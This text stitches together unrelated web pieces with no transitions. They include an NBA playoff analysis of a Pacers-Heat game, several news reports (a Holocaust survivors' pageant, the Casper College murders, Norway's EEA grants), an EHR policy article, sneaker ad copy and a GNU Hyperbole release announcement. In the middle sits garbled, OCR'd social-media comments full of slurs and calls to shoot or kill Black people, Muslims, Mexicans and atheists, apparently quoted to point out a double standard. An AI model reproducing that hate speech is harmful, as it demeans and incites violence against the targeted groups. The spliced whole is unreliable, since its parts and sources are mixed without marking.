2. Roy Hibbert is balling the hell out, on both ends of the floor. It’s astounding. Hibbert has been a very good player for a while, but this is something else. Hibbert has gone for 20 points and 10 boards in three of the four games in this series; he did that just seven times the entire regular season, and he went for 19 and nine in the one game this series that he missed the arbitrary round-number benchmark. And his defense hasn’t missed a beat, either.
The Pacers have gradually figured out how to get Hibbert the ball, and how to attack both Miami’s fronts and its hyper-aggressive trapping on pick-and-rolls. Here’s an example of one tactic they’re using a lot:
George Hill and Tyler Hansbrough are running a pick-and-roll on the left side, and Chris Andersen is fronting Hibbert in the post, his body between Hibbert and the ball. When Hansbrough rolls free down the left side, Andersen’s job is to shift toward the middle of the paint to protect the rim in case Hansbrough gets the ball.
The Pacers know this. The Hansbrough pick-and-roll is something of a decoy designed to get Andersen leaning toward the middle. We know it’s a decoy because Hill doesn’t even look to Hansbrough. Instead, he swings the ball to the other side of the floor to Lance Stephenson, and moving the ball has taken Andersen out of fronting position:
“This team [Miami] is predicated on loading up the strong side,” George said. “So for us to attack them, we’ve gotta hit them from the weak side. It’s about us moving the ball and finding Roy where he can really get post position.”
The rest is up to Hibbert, and “the rest” in this series has been an endless reel of soft hooks (with either hand), nimble footwork, the occasional face-up drive, and some soul-sucking baskets.
“It’s about swinging it from one side to the other and then entering it,” Hibbert told me after the game. “Swing it and enter. Just keep the ball moving and hot potato it.”
The Officiating Debacle
Less than a minute after Hibbert nailed a hook shot, three referees called a shot clock violation after a wild Hibbert fling so obviously hit the rim that everyone near me on press row noticed it in real time, from the other side of the floor. What a debacle. The league is rightly hesitant to bog the game down with endless replays. Games are already too long. The replays we do have take forever, and the number of TV timeouts reached comical levels years ago. But if the league wants to review non-foul dead-ball calls — goaltends and out-of-bounds plays in the final minutes of regulation, for instance — I’ve never understood why it doesn’t (a) review more of such calls, and (b) review them during the full course of the game.
Reviewing all dead-ball turnovers is impossible; have you ever read the section of the rule book devoted to traveling? But things like “did the ball hit the rim?” should take 10 seconds to review. Ditto for “is that ball on the way down?” And even if these kinds of reviews begin adding up to too much time, then maybe Jeff Van Gundy’s challenge flag idea might not be so crazy after all. Heck, half the coaches are already three steps onto the floor, so they wouldn’t even have to throw the thing in order for officials to notice it.
And as you might imagine, I chuckled when Joey Crawford, surely soon to be headlining in Las Vegas with some sort of officiating pantomime show, charged Miami a timeout because Erik Spoelstra stepped onto the court. The rules are very clear: Coaches aren’t allowed to be on the floor. But here’s the problem: Spoelstra is always on the floor. Why did Crawford decide the heat of a pivotal playoff game represented the right time to crack down on something Spoelstra and others have been doing for years in meaningless January games? You don’t think Spoelstra may adjust his behavior if Crawford hit him with some theatrically delivered technicals in the regular season? (Update: The NBA has informed me that Rodney Mott made the ruling on Spoelstra, not Crawford.)
This is what rightfully drives fans crazy. This is why Miami was up in arms about the illegal screen that fouled LeBron James out of the game — the second straight season in which James has fouled out in a postseason Game 4, for all you conspiracy theorists. The screen James set was probably illegal; you’re not supposed to spread your feet as wide apart as James did, and he moved a smidgen in Stephenson’s direction while setting the pick. Those things are against the rules.
But guess what? Players set illegal screens on almost every possession. Big men on defense have fought back by regularly shoving screen-setters just before the moment of impact, one illegality atop another. Want to crack down on this? Then crack down on it in the offseason, and then in the regular season, until the players adjust their behavior.
The officiating became the story tonight, and that’s a shame, because these are two great basketball teams competing so, so hard against each other.
More Observations From the Game
• Andersen, by the way, has no shot guarding Hibbert. He’s not strong enough, and on post-ups, he likes to take a mini-step back from Hibbert and jump for shot blocks instead of bodying him up — sort of pulling out the chair, but without actually pulling it out. It doesn’t work.
• Important News Item, Part 1: Vogel continued his streak of ending pregame press conferences by wishing reporters “good luck.” Why do we need luck? Does Vogel know something we don’t?
• Important News Item, Part 2: The Pacers adorned the buffet table in the media dining area with an ice sculpture:
• Oh, hey, Lance Stephenson had himself a game! Stephenson had 20 points on 9-of-15 shooting, and he’s become smarter at picking his spots for his trademark hard pushes. Two spots that work: Anytime he rebounds the ball and can bring it up in semi-transition, and anytime Allen is guarding him.
Stephenson scored six of his 20 points during the stretch bridging the first and second quarters, when George sat with foul trouble. The Pacers spent almost all that time with the perimeter trio of Stephenson, D.J. Augustin, and Sam Young on the floor, and it was unclear how that group was going to score any points at all. But Stephenson manufactured some points, and Hansbrough “fed” Young under the rim for what may have been the ugliest assist of the season. Indiana actually extended its lead in that stretch, and when the thin Pacers gain points with fewer starters on the floor, the other team is in trouble. Sometimes when you score your points matters almost as much as the general act of scoring them.
• Hibbert and David West have gotten more comfortable making plays out of the pick-and-roll, both as passers and scorers, as the series has gone on.
• Stephenson injects a (necessary) bit of edge to an otherwise very friendly Indiana locker room. When a reporter (ahem) ventured into the Pacers locker room with just 90 seconds left in the allotted pregame media time, Stephenson made sure that reporter knew it was time to leave: “Time’s almost up!” he shouted. He wasn’t joking around.
• Are the Pacers lucky, tall, or tenacious? I’ve rewatched the back-to-back offensive rebounds, one by West and one by Hibbert, that led to Hibbert’s big and-1 putback with 90 seconds left, and I still can’t decide if the Pacers got them simply because of wacky caroms that bounced in strange ways toward Indiana players. But those players are generally taller than the Miami players, and on the second one Hibbert snared, Mario Chalmers might have been able to grab the ball cleanly had Stephenson not flown in behind him to contest the rebound. Chalmers whacked at it instead, and it went right into Hibbert’s hands. As they say, you make your own luck.
• I wondered in my series preview if we would see Stephenson take some possessions guarding James. It took four games and serious foul trouble for George, but it happened, in part because Stephenson requested the assignment midgame, Vogel said afterward. “Paul George is getting worn out a little bit” guarding LeBron, Vogel said. Stephenson battled hard, but the Pacers had to send more help toward LeBron in the post than they normally do. But they’re good enough to help like that without surrendering anything elsewhere on the floor.
• I’m not sure we saw quite enough of James in the post tonight.
• Underrated story: How often Miami is playing Chris Bosh and Andersen together in the second and fourth quarters. When the Heat are humming, they typically stay small, with Shane Battier or James at power forward, once Spoelstra removes Udonis Haslem midway through the first and third quarters. That’s not happening here, and Spoelstra’s shift back to big lineups is a statement of his respect for the Pacers’ size.
• In one stretch, George shifted over to Dwyane Wade in order to protect himself from further foul trouble. Wade has generally not been the sort of player an opposing team targets in this way. He looked semi-explosive in Game 3, and he did get to the line six times tonight — a rare bundle of free throws for Wade these days. But he struggled from the floor and looked dispirited.
• This series is almost exactly even after four games, which means Miami has lit up Indiana’s defense at about the same rate as the Pacers have torn apart Miami’s vaunted D. The Heat have continued to hurt Indiana by spacing Hibbert’s man way out along the baseline, though Hibbert has been quicker to help at the rim since Game 1. They’ve also found some pet sets they like in this series.
But that Pacers defense, like any elite unit, is capable of long stretches of stingy play, and they unleashed a 3:22 masterpiece after the Heat had taken a 60-54 lead in the third quarter. There’s nothing fancy about what Indiana does. They’re huge at every position, they have a lot of individual talent, and they work well together as a team. They understand Vogel’s priorities, and they rarely make mistakes.
Look at how they help on this Norris Cole drive into the middle of the floor in the early part of the second quarter:
This is a problem, but the Pacers respond to it well. George slides to the center of the foul line, and feels emboldened to do so in part because he’s guarding Wade — a non-threat from 3-point range. Young, defending the more dangerous Allen on the right wing, keeps both feet out of the paint, in good closing position. And when Wade caught the pass from Cole and swung the ball to Allen, Young indeed closed out before Allen could release a clean shot. Allen tried to shift behind an impromptu back screen from Birdman, but Young fought through that, too, forcing a very tough miss.
This is what the Pacers do for long stretches, even against the very best offenses. Miami went through killer sequences in that third-quarter clankfest, beautiful choreography in which one dangerous action flowed instantly into another, and the Pacers were game for all of it.
• The Pacers have also done remarkably well taking away any air space for Allen, Battier, and Miami’s other spot-up guys. The Heat have tried to free up Battier by using him as the screener in pick-and-pops, but West has done well cutting off the pick-and-roll drive and scampering back to Battier before he can get off a shot. “We want to force them to make plays off the bounce,” West said after the game.
They’ve done it so far, and the Heat are in a fight. What a series. Stay out of it, refs.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Nov. 26, 2015, 5:17 PM GMT / Updated Nov. 26, 2015, 5:32 PM GMT By Reuters
HAIFA, Israel — To the strains of Madonna's "Vogue," the 13 women with a combined age of about 1,050 strutted down the runway cautiously, hindered only slightly by walking sticks and the odd dodgy hip.
The third annual Holocaust survivors' beauty pageant, honoring women who lived through the concentration camps and death marches of Nazi Germany, was held in the city of Haifa this week with hundreds of relatives turning out in support.
Lipstick was carefully applied, dresses were elegant and jewelry glittered, but the focus was on giving women who experienced horrors in the early years of their lives a chance to enjoy some glamour and attention as they push into their 80s.The driver of a U-Haul truck got into seven collisions in just over an hour on Saturday, and failed to remain at all of them, according to police.
Police are seeking a person driving a U-Haul rental moving truck that was near 90 Bloor St. E., the scene of one of the seven collisions, on Aug. 8 around 9:45 p.m.
The driver and vehicle failed to remain at the scene of the collision.
The vehicle was then involved in six other fail-to-remain collisions the same night, from 9:30 p.m. and 10:40 p.m., at the following locations:
Bloor Street West, just east of Bay Street.
Bloor Street West and Bay Street.
Northbound Don Valley Parkway, near Eglinton Avenue East.
Northbound Don Valley Parkway, near Lawrence Avenue East.
Southbound Don Mills Road and Sheppard Avenue East.
Clarinda Drive and Ambrose Road.
Police took several 911 calls about the truck. They are seeking any information about the driver.This is a hate crime,
COULD ID SHOOT ALL OF YOU IN THE HEAD WITH A
I Joe Martinez TO ALL BLACKS DIE AN use Ta HELL HAHA IF]
20 hours age. it 1 person
21 hours age
Huey Clock stupid faggets I hope God kills them all.
e hours age
Michael Perri these people are flag scum of the earth. can we
start killing them new? few groups are filled with more hatred than
muslims
21 hours age. it 3 maple
Eileen Any ceart er lawyer whe takes this case should be
If you leak at some of the people whe are muslims they
are all miserable leaking because they dent have any faith in
anything. Tau all should go live in anither country. Tau have taken
enough of my rights away.
6 hours age. an 1 person
Hans Anderson blacks has no rights a snail has mere rights than
a black has i say threw them out ta the sharks let them eat them
like the ate bin laden
5 hours age
Gill Patrick Alley Kill em all... let God sad em out. Guess what
4 hours age
Bob o' Cordell They' re mexicans so it wont matter if you kill them.
But this is perfectly acceptable?
Joe Martinez TO ALL ATHEIEST DIE AN GO TO HELL HAHA IFI
COULD ID SHOOT ALL OF YOU IN THE HEAD WITH A
20 hours age. it 1 person
Bob O' Cordell They' re atheists so it wont matter if you kill them.
21 hours age
Sindy Clock stupid athiests, I hope Gad kills them all.
6 hears age
Michael Perri these people are flag scum of the earth. can we
start killing them new? few groups are filled with mere hatred than
athiests.
21 hours age. it 3 people
Eileen Rourke Any mart er lawyer whe takes this case should be
If you leak at some of the people whe are atheists they
are all miserable leaking because they dent have any faith in
anything. Tau all should go live in anither country. Rtru have taken
enough of my rights away.
6 hours age. 1 person
Hans Andersen atheist has no rights a snail has more rights than
a atheist has i say threw them out ta the sharks let them eat them
like the ate bin laden
5 hours age
Patrick Alley Kill em all... let God sort em out. Guess what
Atheists....
4 hours age
Incidentally, when did Thou Shall Not Kill stop applying?
...Story highlights First lady Melania Trump is -- in and of herself -- a "brand," her lawyers said
"The first lady has no intention of using her position for profit," he lawyer added
(CNN) First lady Melania Trump is -- in and of herself -- a "brand," one that could elicit lucrative endorsement opportunities, according to a lawsuit refiled by her attorneys on Monday.
The lawsuit, filed in New York Supreme Court, argues a now-retracted Daily Mail Online article published last August that falsely alleged the first lady once worked for an escort service has damaged her reputation to the tune of many millions of dollars. She is seeking compensatory and punitive damages of at least $150 million, according to the filing.
"(Melania Trump), as an extremely famous and well-known person, as well as a former professional model and brand spokesperson, and successful businesswoman" had the opportunity to potentially earn millions based on the fact that she is "one of the most photographed women in the world," according to the suit.
The suit was originally filed in Maryland but the judge dismissed it, ruling it had been filed in the wrong court.
Read MoreGauntlette finally gets a chance to do some damage after Jiggawatt cut her down during her arrival |
this one appealed to us," Kyle Gass said of "The Last In Line". "Recording the track was a blast. Our electric guitarist, John Konesky, shredded a solo. I said, 'That's pretty good, but let's try out my recorder.' Lo and behold, it shredded even more and added a unique element to the track."
Gass fondly remembered Ronnie's cameo in TENACIOUS D's musical comedy film "The Pick Of Destiny", telling Music For Good: "Dio obviously has been a major influence and inspiration for the D. His performance in 'The Pick Of Destiny' was a magical moment for us, and we'll always miss him. Rock on, Dio."
This year's Grammy Awards process registered more than 20,000 submissions over a 12-month eligibility period (October 1, 2013 - September 30, 2014), of which 17,144 remained valid.
Final ballots went out on December 17, 2014, and were due on January 16, 2015. After the final tabulation of votes, winners' names — in 83 categories in 30 fields — remained confidential in sealed envelopes until the 57th annual Grammy Awards.
Established in 1957, The Recording Academy is an organization of musicians, songwriters, producers, engineers and recording professionals that is dedicated to improving the cultural condition and quality of life for music and its makers. Internationally known for the Grammy Awards — the preeminent peer-recognized award for musical excellence and the most credible brand in music — The Recording Academy is responsible for groundbreaking professional development, cultural enrichment, advocacy, education and human services programs. The Academy continues to focus on its mission of recognizing musical excellence, advocating for the well-being of music makers and ensuring music remains an indelible part of our culture.Neymar's buy-out clause is 200m euros (£178m)
Neymar is the most valuable player in Europe - worth about £216m - according to a new study which values 10 players at more than 100m euros.
The Barcelona striker is ahead of team-mate Lionel Messi, who is valued by academics at £149m.
The only England players in the top 10 are Tottenham duo Harry Kane (worth £122m) and Dele Alli (£96m).
Paul Pogba, who joined Manchester United for a record £89m in the summer, is worth £136.4m.
The study has been carried out by a team of academics from the CIES Football Observatory, using a transfer value algorithm.
They have calculated the value using criteria that includes player performance and characteristics, such as age and length of contract.
Sorry, this content is no longer available.
Cristiano Ronaldo, the Ballon d'Or winner and Fifa's world's best player, is seventh on the list at £111m, with Real Madrid team-mate Gareth Bale 14th and valued at £73.8m, less than the £85.3m he cost the La Liga side in 2013.
Pogba is the only player in the top five not based in Spain, with Atletico Madrid's Antoine Griezmann third at £132m and Barcelona's Luis Suarez fifth (£127m).
There are 42 Premier League players in the top 100 including Chelsea's Eden Hazard (£89m), Manchester United's Anthony Martial (£81m), Manchester City's Raheem Sterling (£75m) and Leicester City's Jamie Vardy (£45m).
West Ham midfielder Michail Antonio makes the list at 100, with a value of £31m.The federal government may have delayed the start of Stage 2 of meaningful use by a year, to 2014, but that does not mean healthcare providers should relax in their pursuit of the intended goals of the EHR incentive program, namely better, safer healthcare at lower cost.
"There's still a bit of a timing issue even though we have some relief," Pam McNutt, senior vice president and CIO for Dallas-based Methodist Health System, said at the annual College of Healthcare Information Management Executives (CHIME) Fall CIO Forum.
Indeed, thousands of healthcare facilities will be installing or upgrading their systems next year after vendors update their products to meet the new 2014 EHR certification standards, and that could create a backlog with suppliers. "Get on your vendor's schedule now," McNutt advised. Providers that meet Stage 1 by 2012 can start on the second stage in fiscal year 2014. For Medicare Part A, that begins Oct. 1, 2013, so time really is getting short.
Another complicating factor is the need to adjust clinician workflows even more than in Stage 1 and truly start involving patients in their care.
One of the quirks of the final Stage 2 rules is that providers no longer have full control over whether they qualify for some measures. The new standards require hospitals and individual "eligible providers" to offer 50 percent of their patients access to their own health records through a portal, up from 10 percent in Stage 1. And, 5 percent of patients actually have to use the portal.
"We have to be very creative in doing this," McNutt said. She reported hearing that some hospitals were going to game the system by asking their employees to view their personal records online.
Charles E. Christian, CIO of Good Samaritan Hospital in Vincennes, Ind., asked how many people in attendance would have a patient portal in the next couple of years. A smattering of hands went up. "It should be everybody," said Christian, whom CHIME last week named to its inaugural class of lifetime members. (Christian also took home the 2010 John E. Gall CIO of the Year Award from CHIME and the Healthcare Information and Management Systems Society. McNutt won CIO of the Year in 2002.)
Christian said meaningful use Stage 2 makes the portal "a given," in part because it can help satisfy another requirement that hospitals, physicians and other eligible providers generate an electronic summary care record for at least 65 percent of transitions of care and referrals. This must include a minimum of 10 percent of transitions or referrals to unaffiliated providers using a different EHR system, too.
Hospitals must also be able to transmit patient data to a portal or to a referring physician within 36 hours of discharge in Stage 2. This, too, will require a potentially major change.
"How many of your physicians actually dictate discharge notes within 36 hours of discharge?" Christian asked, and got silence. "Exactly," he said. "Well, guess what? You're going to have to."reddit is full of beautiful things. Hi-res photos ofstunning vistas, delectable culinary shots, and exotic wild animals frolicking in their natural habitats are known to frequent the front pages of reddit. We even have an extensive network ofSFW Porn communities that are havens for fostering the most breathtaking things you’ll ever see, from awesome weather shots to perfectly organized cables.But not every vista, meal, or goat can be extraordinary. In fact, more times than not, they are simply mediocre, mundane, or otherwise unremarkable. And then… then, there are some that are downright shitty.
And it’s this type of diversity on reddit that we are here to showcase today! Fortunately, we have some amazing communities dedicated to the absolute shittiest of worldwide phenomena. You can explore shitty scenery Shitty advice! Shitty… robots
So, without further ado, visit some of our communities dedicated to the shittiest of the shitty things, and celebrate the things that make us say…. ew.
And a handy multi with even more!Efforts by Hungary and Poland to control funds directed to charities are blocking negotiations over the renewal of a €1 billion Norwegian aid scheme.
The Central European governments want to take funds from organisations supporting women, gay people and the homeless, among others.
Norway has refused to give in to such demands, meaning that negotiations are stuck.
"The situation is very unclear. In the worst case, the whole support scheme could be blocked," said Vera Mora from the NGO Okotars, which administered the last Norway grant scheme in Hungary.
Iceland, Liechtenstein and Norway, in exchange for their access to the EU single market, fund initiatives aimed at reducing social and economic disparities in poorer EU member states.
Norway is by far the biggest donor of the so-called EEA funds, doling out some 96 percent of the money.
Poland is the largest beneficiary, followed by Romania and Hungary.
Under the next scheme, which runs until 2021, Poland stands to receive €809 million, Hungary €215 million.
The funds cover some shortfalls in healthcare budgets and help companies to adopt green technologies. They pay for the upkeep of cultural heritage sites and fund research projects.
Roughly 10 percent of the cash is dedicated to independent support of civic society, a mandatory part of programme.
In Poland, the Law and Justice (PiS) government has formally announced that it would like the money to be channelled through a government body - although they have yet to establish the body.
Deputy prime minister Piotr Glinski told W Polityce, a pro-government weekly, in late March he wanted to have the funds administered by "national centre for the development of civic society" - a requirement at odds with the funding rules, which say civic support funds should be distributed through an independent operator.
Hungary has been less vocal about its strategy, although it has in the past referred to a veto right on the operating body. That would mean Hungary could block the negotiations if it cannot pick the entity that will be distributing the money.
Also Norway is tight-lipped about the state of negotiations, fearing public scrutiny would only make it more difficult.
"Negotiations are ongoing and it's not desirable to comment on their content," said a spokeswoman for Norway's foreign ministry, adding that Norway was "looking for a solution that would be acceptable to all parties".
Talks are taking part at a civil-servant level, in order to lower the political profile.
Norway could in practice waive the requirement for an independent administering body.
But Norwegian politicians including EU minister Frank Bakke-Jensen have insisted that the operator has to be independent of government.
Norway's foreign ministry told EUobserver that "there is broad consensus between the political parties in Norway of the importance of supporting civil society through the EEA grants".
Csilla Czimbalmos, EEA coordinator at the Norway Helsinki Committee, which facilitates relations between civil society organisations in Norway and beneficiary countries, said it was "difficult to foresee when and how the negotiations will end".
"But the government wants positive examples of what its money does in the EU," she told EUobserver.
"I think there is a fundamental recognition in Norway that you cannot have healthy development without a strong civil society. This is why NGO support is a mandatory part of the EEA programme."
Norway has faced down opposition from Central European governments in the past.
In 2014, after the government of Viktor Orban tried to capture the funds, Norway froze payments to Hungary for all programmes except civil society - the only one where funds aren't not channelled through the government.
The money was unlocked after a year of negotiations.
It is not known what kind of solution the two sides eventually reached; both hailed the outcome as a victory.
Hungary said it had obtained the right to veto the current operator, Okotars, which has angered the government by supporting projects helping the homeless after the government passed laws to forbid rough sleeping.
The NGO that has operated the funds in Poland, Batory, has also been blacklisted by the Polish government for supporting gay rights, women's rights and also secular organisations teaching religion in schools.
"I don't think that Batory could again fulfil the function of operator. But this has to be negotiated with the Norwegians," Glinski told W polityce.
The head of Batory, Ewa Kulik-Bielinska, told EUobserver last year the government was trying to lay hold of the money to fund its allies who didn't necessarily stand for civic values.
Prolonged negotiations could starve the already beleaguered civil society in Hungary and Poland.
Hungary is currently pushing forward with a law that would require organisations receiving more than €23,000 a year from a foreign donor to register themselves as “foreign funded”.
PiS has already rerouted public funding to government-loyal organisations.
Okotars and Batory say there aren't currently any real alternatives to EEA funding for watchdog organisations in their countries, which lack a broader tradition of supporting such NGOs, and EU funding being too cumbersome for small organisations to cope with.
Okotar's EEA contract ended last Friday, but the latest funds were allocated in December 2015.
Batory paid out the last money in April 2016.
Norway hopes to strike a deal before the end of the year, but has said the ball lies with Budapest and Warsaw.Men's Sneakers Designed For Comfort
You'll be wearing your sneakers for men all day, so ensure they're built for comfort. Soft, yet durable, textile, suede and canvas provide a soft feel while you're on the move and keep you light on your feet. Men's shoes made with stylish materials like mesh help deliver important ventilation to keep you cool, while sleek leather footwear lends a classic look while maintaining comfort. Opt for footwear with supportive cushioning in the insoles and midsoles to keep you feeling great on all your travels.
Sneakers For Men With Great Traction
When you're on the go, step out in men's sneakers designed to provide great traction. From casual days around town to quick trips to the gym, outsoles with flex grooves and waffle lugs help provide a great range of motion on different surfaces. Look out for outsoles that provide abrasion resistance when you take an off-road path, and check out a great selection of shoes and boots that keep up with all your daily adventures.
Classic Styles
Slip on your favorite men's sneakers and enjoy your day-to-day activities in style. Select your next go-to pair in a bold color to add a unique, statement-making pop to your favorite outfit, or opt for neutral-hued footwear that offers endless matching options. No matter what look you're going for, you're sure to find the pair of sneakers for men that puts your sense of style on display.By MEAD GRUVER, Associated Press
CASPER, Wyo. (AP) — Gravely wounded by an arrow fired into his head, a Wyoming college instructor still managed to wrestle with his 25-year-old son who carried out the attack and give his students time to flee the classroom, say police who hailed the actions as heroic.
More grisly details of the horrific murder-suicide in Wyoming came to light Saturday, a day after the younger man killed his father's live-in girlfriend and then barged into his father's computer science class and shot him in the head with a high-powered bow and arrow.
As James Krumm, 56, then fought with son Christopher Krumm of Vernon, Conn., during Friday's attack, the handful of students in the Casper College classroom escaped.
Christopher Krumm had just stabbed to death 42-year-old Heidi Arnold at the home she shared with James Krumm two miles away.
When police arrived at the classroom, they found Christopher Krumm bleeding from self-inflicted knife wounds and taking his last breaths.
James Krumm was dead, Casper Police Chief Chris Walsh said.
"I can tell you the courage that was demonstrated by Mr. Krumm was absolutely without equal," he said, adding that the instructor's actions could offer some measure of comfort to those affected by the killings.
Authorities believe "around six" students were in the classroom when Christopher Krumm entered, Casper police spokesman Justin Smith said. No students were hurt.
Walsh said police still were trying to figure out what motivated Christopher Krumm to attack his father and Arnold, a math instructor at the college. Arnold died of multiple stab wounds.
After shooting his father with the arrow, Christopher Krumm stabbed himself, then fatally stabbed his father in the chest in a struggle in the classroom, Walsh said.
Police began getting reports about the attack on Arnold soon after they responded by the dozen to the campus attack. Authorities locked down the campus for two hours while they scoured the grounds for any other attackers. They were reassured that Christopher Krumm acted alone.
He had smuggled the compound bow — a type much more powerful and effective for hunting than a simple, wooden bow — onto campus beneath a blanket, Walsh said.
He said Christopher Krumm also had two knives with him, and the knife used was "very large."
Arnold's body was found in the gutter of her street, and evidence suggested much of the attack occurred outside the home, Walsh said.
Neighbor Heather Meier said she came home from work Friday afternoon after picking up her 7-year-old daughter from school, and the two saw Arnold's body still lying in the street.
"As soon as we got home, we just shut the curtains," she said Saturday. "You know, tried to just watch some TV, have some snacks, mind our own business."
Across the street from her home, crime tape cordoned off Krumm and Arnold's faded blue and yellow house and part of the street. Meier, who has lived in the neighborhood for two years, said she met Arnold and James Krumm only once a few months ago and described them as quiet and very private.
Casper College instructor Kevin McDermott said Arnold and James Krumm were well-liked on campus.
"I knew these people pretty well, so it's hurting me.... It's breaking my heart," said McDermott, who teachers algebra and computer networking at the school. "They were really good, kind-hearted people. People like Jim and Heidi are what make Casper College such a great college."
McDermott described James Krumm as a "real kind and gentle-mannered guy" who was well-respected by his students.
"Computer science majors took most of their classes from Jim. He was their adviser, and he had a big impact on them," he said.
McDermott added Arnold was a great teacher who "taught the tough stuff" and maintained a sunny disposition — "a person who always had a smile on her face."
Chris Unruh, a student in one of Arnold's pre-calculus classes this fall, said she was a kind instructor who was excited about recently getting two dogs.
"She cared about her students," said Unruh, 18. "She wanted all of them to succeed."
Investigators said Christopher Krumm had recently driven to Casper from Connecticut and had been staying at a local hotel. He had no significant history of encounters with police.
Authorities were uncertain what went awry in his relationship with his father.
"It's difficult to say. I don't think it was very close," Walsh said.
In Vernon, Conn., police Sgt. Timothy O'Connor said officers executed a search warrant at Christopher Krumm's last known address Friday to help authorities in Casper. He didn't know what investigators were looking for or may have found at the home.
"Whatever was recovered will be turned over to Wyoming because it is an active investigation," O'Connor said.
Christopher Krumm's previous addresses include one in the western Massachusetts city of Springfield and others in the Colorado cities of Golden, Fort Collins and Lakewood.
Casper, population 56,000, is about 250 miles northwest of Denver and Wyoming's second-largest city after the state capital, Cheyenne. Wyomingites refer to Casper as the "Oil City" because it is a hub of the state's oil industry.
Casper College is one of seven colleges in Wyoming's community college system. The campus was mostly quiet Saturday morning. Fathers and sons shot hoops in the school gym. A small group of drama students rehearsed a play in the school theater just across the street from the attack.
The building where the attack happened remained cordoned off by police tape that whipped in a brisk wind. A security guard let students back in, one at a time, to retrieve belongings they'd left behind.
Andra Charter, a 20-year-old sophomore, emerged with a coffee mug. She recalled hearing screams outside her biology class before getting word about what had happened.
"As we were walking out, there was a girl screaming, 'There's somebody stabbing Mr. Krumm!'" Charter said.
James Krumm was head of the college's computer science department. He was born north of London and also spent part of his childhood in Germany, according to the college website.
He held degrees from Casper College, a bachelor's degree and MBA from the University of Wyoming and a master's in computer science from Colorado State University.
Arnold held a master's degree in mathematics from the University of Oregon and a bachelor's degree in math from University of California Davis.
The college planned a candlelight vigil and memorial service Tuesday.
___
Associated Press writers Rodrique Ngowi in Boston and Thomas Peipert in Denver contributed to this report.ANNOUNCE: GNU Hyperbole 6.0.1 for Emacs 24.4 - 25 is released
From: Robert Weiner Subject: ANNOUNCE: GNU Hyperbole 6.0.1 for Emacs 24.4 - 25 is released Date: Wed, 27 Jul 2016 12:42:09 -0400
GNU Hyperbole (pronounced Ga-new Hi-per-bo-lee), or just Hyperbole, is an amazing programmable hypertextual information management system implemented as a GNU Emacs package. This is the first public release in 2016. Hyperbole has been greatly expanded and modernized for use with the latest Emacs 25 releases; it supports GNU Emacs 24.4 or above. It contains an extensive set of improvements that can greatly boost your day-to-day productivity with Emacs and your ability to manage information stored across many different machines on the internet. People who get used to Hyperbole find it helps them so much that they prefer never to use Emacs without it. Hyperbole includes easy-to-use, powerful hypertextual button types and links that can be made without the need to learn a markup language. without the need to learn a markup language. It also includes a hierarchical, record-based contact manager, a rapid window and frame control system and a powerful multi-level auto-numbered outliner. All features are aimed at making textual information management and display fast and easy. Hyperbole embeds hypertext buttons within unstructured and structured files, mail messages and news articles. It offers intuitive keyboard and mouse-based control of information display within multiple windows. It also provides point-and-click access to World-Wide Web URLs, Info manuals, ftp archives, etc. The Hyperbole wiki page, "https://www.emacswiki.org/emacs/Hyperbole", explains the many ways it differs from and is complementary to Org mode. Instructions follow on how to download, install and utilize GNU Hyperbole as an Emacs package. These are followed by What's New with Hyperbole in 2016. Bob Weiner designed and programmed GNU Hyperbole. He and Mats Lidell maintain it for the Free Software Foundation. It includes an interactive demo to introduce you to its features and a detailed reference manual. =========================================================================== * About =========================================================================== GNU Hyperbole consists of five parts: * Buttons and Smart Keys a set of hyperbutton types which supply core hypertext and other behaviors. Buttons may be added to documents (explicit buttons) with a simple drag between windows, no markup language needed. Implicit buttons are patterns automatically recognized within text that perform actions, e.g. bug#24568 displays the bug status information for that bug number. Buttons are accessed by clicking on them or referenced by name (global buttons), so they can be activated regardless of what is on screen. Users can make simple changes to button types. Emacs Lisp programmers can prototype and deliver new types quickly. Hyperbole includes two special `Smart Keys', the Action Key and the Assist Key, that perform an extensive array of context-sensitive operations across emacs usage, including activating and showing help for Hyperbole buttons. In many popular Emacs modes, they allow you to perform common, sometimes complex operations without having to a different key for each operation. Just press a Smart Key and the right thing happens; * Contact and Text Finder an interactive, textual information management interface, including fast, flexible file and text finding commands. A powerful, hierarchical contact manager, HyRolo, which anyone can use, is also included. It is easy to learn since it introduces only a few new mechanisms and has a menu interface, which may be operated from the keyboard or the mouse; * Screen Control the fastest, easiest-to-use window and frame control available for GNU Emacs, called HyControl. With just a few keystrokes, you can shift from increasing a window's height by 5 lines to moving a frame by 220 pixels or immediately moving it to a screen corner. Text in each window or frame may be enlarged or shrunk (zoomed) for easy viewing, plus many other features; * Hypertextual Outliner an advanced outliner, the Koutliner, with multi-level autonumbering and permanent identifiers attached to each outline node for use as hypertext link anchors, per node properties and flexible view specifications that can be embedded within links or used interactively; * Programming Library a set of programming libraries, for system developers who want to integrate Hyperbole with another user interface or as a back-end to a distinct system. (All of Hyperbole is written in Emacs Lisp for ease of modification. It has been engineered for real-world usage and is well structured). The GNU Hyperbole project home page gives a more extensive description: "https://www.gnu.org/software/hyperbole/". =========================================================================== * Package Installation =========================================================================== Once you have Emacs set up at your site, GNU Hyperbole may be installed simply by using the Emacs Package Manager. If you are not familiar with it, see the Packages section of the GNU Emacs Manual, "(emacs)Packages", or: "https://www.gnu.org/software/emacs/manual/html_node/emacs/Packages.html". If you have Hyperbole 5.10 or higher already installed and simply want to upgrade it, invoke the Emacs Package Manager with {M-x list-packages RET}, then use the {U} followed by the {x} key to upgrade all out-of-date packages, Hyperbole among them. Then skip the text below and move on to the next section, Invocation. Otherwise, to download and install the Hyperbole package, add the following lines to your personal Emacs initialization file, typically "~/.emacs". (require 'package) (setq package-enable-at-startup nil) ;; Prevent double loading of libraries (package-initialize) (unless (package-installed-p 'hyperbole) (package-refresh-contents) (package-install 'hyperbole)) (require 'hyperbole) Now restart Emacs and Hyperbole will be downloaded and compiled for use with your version of Emacs. You may see a bunch of compilation warnings but these can be safely ignored. =========================================================================== * Invocation =========================================================================== Once Hyperbole has been installed for use at your site and loaded into your Emacs session, it is ready for use. You will see a Hyperbole menu on your menubar and {C-h h} will display a Hyperbole menu in the minibuffer for quick keyboard-based selection. You can invoke Hyperbole commands in one of three ways: use the Hyperbole menu on your menubar; type {C-h h} or {M-x hyperbole RET} to bring up the Hyperbole main menu in the minibuffer window, for fast keyboard or mouse-based selection; select an item from this menu by typing the item's first letter; use {q} to quit from the menu. use a specific Hyperbole command such as an Action Key click {M-RET} on a pathname to display the associated file or directory. Use {C-h h d d} for an interactive demonstration of standard Hyperbole button capabilities. {C-h h k e} offers a interactive demonstration of the Koutliner, 